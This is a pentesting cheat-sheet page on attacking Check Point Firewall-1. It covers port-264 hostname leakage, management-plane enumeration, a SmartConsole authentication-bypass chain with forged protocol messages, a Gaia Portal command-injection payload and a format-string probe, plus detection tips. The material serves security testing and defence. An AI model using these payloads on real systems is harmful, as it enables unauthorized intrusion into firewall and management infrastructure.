daemon-sec-cheatsheet

pentesting-264-check-point-firewall-1.md (15389B)

---

 ---
 title: "264/tcp - Pentesting Check Point Firewall"
 section: "Network Services"
 sectionSlug: "network-services-pentesting"
 sourcePath: "src/network-services-pentesting/pentesting-264-check-point-firewall-1.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # 264/tcp - Pentesting Check Point Firewall
 
 It is possible to query **Check Point Firewall-1** gateways on **264/TCP** for topology information that can disclose the gateway and management-station names.<sup>[[1]](#references)[[2]](#references)</sup>
 
 On modern deployments this remains useful because **TCP/264** is the `FW1_topo` service used for topology download by SecureClient and Endpoint Security VPN clients.<sup>[[5]](#references)</sup> A response fingerprints Check Point software and suggests that remote-access functionality is configured, but it does not by itself prove that the management server is exposed.
 
 When an applicable control-connection implied rule is enabled, `FW1_topo` traffic can still be accepted even when the explicit rulebase appears restrictive. During review, inspect the gateway's implied-rule configuration instead of inferring TCP/264 reachability from the visible policy alone.<sup>[[5]](#references)[[12]](#references)</sup>
 
 ## Obtaining Firewall and Management Station Names
 
 Using a pre-authentication request, you can execute a module that targets **Check Point Firewall-1**. The necessary commands for this operation are outlined below:
 
 ```bash
 use auxiliary/gather/checkpoint_hostname
 set RHOST 10.10.10.10
 ```
 
 Upon execution, the module attempts to contact the firewall's SecuRemote Topology service. If successful, it confirms the presence of a Check Point Firewall and retrieves the names of both the firewall and the SmartCenter management host. Here's an example of what the output might look like:<sup>[[1]](#references)[[2]](#references)</sup>
 
 ```text
 [*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
 [+] Appears to be a CheckPoint Firewall...
 [+] Firewall Host: FIREFIGHTER-SEC
 [+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
 [*] Auxiliary module execution completed
 ```
 
 The leaked management hostname is usually the most valuable field. In real environments it often identifies the management domain, naming convention, site code, or the exact SmartCenter / Management Server to pivot into next.
 
 ## Alternative Method for Hostname and ICA Name Discovery
 
 Another technique involves a direct command that sends a specific query to the firewall and parses the response to extract the firewall's hostname and ICA name. The command and its structure are as follows:<sup>[[1]](#references)[[2]](#references)</sup>
 
 ```bash
 printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
 ```
 
 The output from this command provides detailed information regarding the firewall's certificate name (`CN`) and organization (`O`), as demonstrated below:
 
 ```text
 CN=Panama,O=MGMTT.srv.rxfrmi
 ```
 
 In practice, `CN` is the gateway object / hostname and `O` commonly maps to the Internal CA / management naming context. That makes this response useful for building hostlists, targeted DNS brute-force, or prioritizing which management node to enumerate first.
 
 ## Post-Discovery Enumeration
 
 Once `264/TCP` confirms a Check Point device, don't stop at the hostname leak. Use the leaked management name to prioritize the rest of the Check Point control plane:
 
 - Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, **18264/TCP (ICA_SERVICES)**, and **19009/TCP (CPM/DLE SOAP SmartConsole services)**.<sup>[[5]](#references)</sup>
 - These ports are frequently reachable only after landing on a VPN segment, jump host, or management VLAN, but `FW1_topo` gives you the names to look for.
 - If the environment enables **Accept Control Connections**, several of these services are opened automatically by design, so they are worth rescanning from every new foothold.
 
 Quick sweep:
 
 ```bash
 nmap -Pn -sT -p 264,443,18190,18191,18210,18211,18231,18264,19009 <gateway-or-management-ip>
 ```
 
 If valid administrator credentials are recovered, move from gateway fingerprinting to structured management enumeration. The Check Point **Management API** is scriptable via `mgmt_cli` or HTTPS `web_api` calls:
 
 ```bash
 mgmt_cli login -u <user> -p '<pass>' -m <mgmt_ip> > id.txt
 mgmt_cli show gateways-and-servers details-level full -s id.txt --format json | jq '.objects[] | {name, type, ipv4_address}'
 mgmt_cli logout -s id.txt
 ```
 
 The output commonly reveals gateway objects, cluster members, management IPs, and other pivot points that are much harder to infer from the firewall itself. The **Management API** runs on the management server, while the **Gaia API** is a separate HTTPS API for operating-system configuration on a gateway or management appliance.<sup>[[11]](#references)</sup>
 
 ## SmartConsole / Security Management Server Authentication Bypass Workflow
 
 If the leaked management host exposes **18190/TCP** (legacy **CPMI/FWM**) and **19009/TCP** (**CPM/DLE** SOAP under `/cpmws/`), treat them as a chained trust surface rather than as two unrelated services. SmartConsole logins cross both protocols, so a trust-boundary bug in native application authentication can become a full GUI administrator session.<sup>[[8]](#references)[[10]](#references)</sup>
 
 ### Application-layer SIC identity override
 
 During SIC bootstrap, the management server exposes its own SIC DN (for example `cn=cp_mgmt,o=<mgmt>`). A vulnerable implementation may later accept a second DN inside an FwSet application bind and use that attacker-controlled string as the effective remote identity instead of the TLS-authenticated certificate DN. If that happens, a remote client can impersonate trusted internal applications such as `CPM Server` without loading a matching client certificate.<sup>[[8]](#references)[[9]](#references)</sup>
 
 ```text
 (
     :local_bind (0)
     :token_bind (0)
     :DN ("cn=cp_mgmt,o=<mgmt>")
     :certificate_bind (1)
     :application_login ("CPM Server")
     :client_without_administrator (true)
 )
 ```
 
 This is a good generic review pattern for proprietary management protocols: if both a transport-authenticated identity and an application-layer claimed identity exist, authorization must bind to the transport identity, not to the replayable field carried inside the protocol body.
 
 ### Cross-protocol token reuse
 
 After a forged application bind, the attacker can ask the legacy service to `open-database` and recover a **43-character DLE token** from the binary FwSet response. In the vulnerable SmartConsole flow, that token is also accepted by the newer SOAP service as the `DLESESSIONID` header, turning a native session into authenticated access to selected `/cpmws/` methods.<sup>[[8]](#references)[[9]](#references)</sup>
 
 ```text
 (
     :type (command)
     :subject (open-database)
     :body (:Name () :db_open_reason () :dle_session_id () :database () :db_open_id ("(nil)"))
     :no-reply (false)
 )
 ```
 
 If a product has both a legacy binary control plane and a newer HTTP/SOAP/REST layer, always test whether tokens minted by the old service are silently honored by the new one.
 
 ### Abusing privileged SSO ticket minting
 
 Once the forged native session is treated as a configuration administrator, request a SmartConsole SSO ticket before normal permission-mask enforcement. In the vulnerable path, setting `:soap_local_bind (1)` and an all-bits-set permission bitmap produces a full-permission ticket for `system_admin`.<sup>[[8]](#references)[[9]](#references)</sup>
 
 ```text
 (
     :type (command)
     :subject (gen-sso-token)
     :body (
         :type (SmartConsole)
         :sso_original_client (SmartConsole :lower_name (system_admin) :soap_local_bind (1) :permissions ("ffffffff|ffffffff|ffffffff"))
     )
 )
 ```
 
 Redeem the returned ticket through the normal SOAP login endpoint and capture the resulting SmartConsole session identifiers:<sup>[[8]](#references)[[9]](#references)</sup>
 
 ```xml
 <l:loginNew>
   <d:loginRequest>
     <d:applicationName>SmartConsole</d:applicationName>
     <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
       <d:username>system_admin</d:username>
       <d:SSOToken><ticket></d:SSOToken>
     </d:authenticationInfo>
   </d:loginRequest>
 </l:loginNew>
 ```
 
 A successful response returns `sid` and `clientSessionId`. A good validation trick is to compare the same protected SOAP method before and after ticket redemption: the application token may authenticate some queries while exposing a reduced result set, while the redeemed SmartConsole session exposes full administrator data.<sup>[[8]](#references)</sup>
 
 ### Detection and quick validation
 
 - Check audit logs for SmartConsole events containing `Authentication method: application token`.<sup>[[10]](#references)</sup>
 - Unexpected `system_admin` logins coming from non-management hosts or unusual application identities are high-signal.
 - A fast validator is to complete the minimum SIC bootstrap and attempt an application bind with a trusted `:DN` **without** loading any client certificate. Patched implementations should reject the bind before issuing any DLE or SSO token.
 
 ## Recent Authenticated Management-Plane Abuse
 
 A useful modern follow-up to `264/TCP` discovery is testing whether the leaked management host exposes an outdated **Gaia Portal**.
 
 In 2023, Check Point fixed an authenticated command-injection issue in the Gaia Portal **Hosts and DNS** page. The vulnerable flow passed the `hostname` field from `/web/cgi-bin2/hosts_dns.tcl` into a `libdb set ... machine:hostname <value>` command chain without sufficient sanitisation, so a user with write access to DNS / hostname settings could turn portal access into OS command execution.<sup>[[6]](#references)</sup>
 
 Minimal reproduction pattern:
 
 ```http
 POST /cgi-bin/hosts_dns.tcl
 hostname=test|`id`
 domainname=lab.local
 save=true
 ```
 
 Why this matters during pentests:
 
 - `264/TCP` often tells you exactly which management host to target.
 - If that host exposes Gaia Portal and you later recover any delegated admin credential, hostname/DNS write access can become code execution on the appliance or management node.
 - Version triage matters here: Check Point states the fix is present in **R82** and in later Jumbo Hotfix takes for **R81.20 / R81.10 / R81 / R80.40**.<sup>[[6]](#references)</sup>
 
 Also keep internet-exposed **Remote Access VPN / Mobile Access** gateways in scope. In 2024, Check Point disclosed and observed exploitation around an information-disclosure issue affecting internet-connected gateways with remote access enabled.<sup>[[7]](#references)</sup> From an operator perspective, the practical lesson is to treat VPN portals and Gaia / management surfaces as a single attack chain: pre-auth leakage on the gateway can feed username discovery, credential attacks, and authenticated follow-on abuse against the management plane.
 
 ## HTTP Security Server Format String Bug (CAN-2004-0039)
 
 **Affected builds:** NG FCS, NG FP1, NG FP2, NG FP3 HF2, and NG with Application Intelligence R54/R55.  
 **Requirement:** The HTTP Security Server or AI HTTP proxy must be enabled and transparently inspecting the targeted port; if HTTP inspection is disabled the vulnerable code path is never reached.<sup>[[3]](#references)[[4]](#references)</sup>
 
 ### Triggering the error handler
 
 The proxy rejects malformed HTTP messages and builds its own error page with `sprintf(errbuf, attacker_string);`, letting attacker-controlled bytes act as the format string. Send an invalid request through the firewall and look for a proxy-generated error that reflects your payload:
 
 ```bash
 printf 'BOGUS%%08x%%08x%%08x%%n HTTP/1.0\r\nHost: internal.local\r\n\r\n' | nc -nv [FIREWALL_IP] 80
 ```
 
 If HTTP inspection is active, the firewall (not the backend server) answers immediately, proving the middlebox parsed and replayed the request line.
 
 ### Exploitation
 
 #### Format string primitive
 
 - Force the parser into the error routine (invalid method, URI, or headers).
 - Place attacker-controlled dwords up front so `%x`, `%s`, and `%n` directives treat them as stack arguments.
 - Use `%x/%s` to leak pointers, then `%n/%hn` to write the formatted byte count into chosen addresses, overwriting return pointers, vtables, or heap metadata before hijacking execution with injected shellcode or ROP.
 
 #### Heap overflow primitive
 
 The same unsafe `sprintf()` writes into a fixed-size heap buffer. Mix a long request body with oversized directives (e.g., `%99999x`) so the formatted output overruns the allocation and corrupts adjacent heap structures, letting you forge freelist pointers or function tables that are later dereferenced.
 
 ### Impact
 
 Compromise of the proxy grants code execution inside the firewall process (SYSTEM on Windows appliances, root on UNIX), enabling rule manipulation, traffic interception, and pivoting deeper into the management network.<sup>[[3]](#references)[[4]](#references)</sup>
 
 ## References
 
 - [1] [Check Point Support Center – Solution sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
 - [2] [LFF-IPS-P2 Vulnerability Analysis - Check Point Firewall-1 Topology (Port 264)](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
 - [3] [CISA Alert: HTTP Parsing Vulnerabilities in Check Point Firewall-1](https://www.cisa.gov/news-events/alerts/2004/02/05/http-parsing-vulnerabilities-check-point-firewall-1)
 - [4] [CERT/CC VU#790771 - HTTP Parsing Vulnerabilities in Check Point Firewall-1](https://www.kb.cert.org/vuls/id/790771)
 - [5] [Check Point sk62692 – Ports used on Security Gateway for SecureClient and Endpoint Security VPN](https://support.checkpoint.com/results/sk/sk62692)
 - [6] [Check Point sk181311 – Response to CVE-2023-28130, Hostname Command Injection in Gaia Portal](https://support.checkpoint.com/results/sk/sk181311)
 - [7] [Check Point sk182336 – Preventative Hotfix for CVE-2024-24919, Quantum Gateway Information Disclosure](https://support.checkpoint.com/results/sk/sk182336)
 - [8] [Rapid7: Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)](https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/)
 - [9] [Rapid7 PoC: sfewer-r7/CVE-2026-16232](https://github.com/sfewer-r7/CVE-2026-16232)
 - [10] [Check Point Advisory sk185169 – CVE-2026-16232 SmartConsole Authentication Bypass](https://support.checkpoint.com/results/sk/sk185169/)
 - [11] [Check Point Management API Reference](https://sc1.checkpoint.com/documents/latest/APIs/)
 - [12] [Check Point R82.10 – Firewall Control Connections in VPN Communities](https://sc1.checkpoint.com/documents/R82.10/WebAdminGuides/EN/CP_R82.10_SitetoSiteVPN_AdminGuide/Content/Topics-VPNSG/Control-Connections-in-VPN.htm)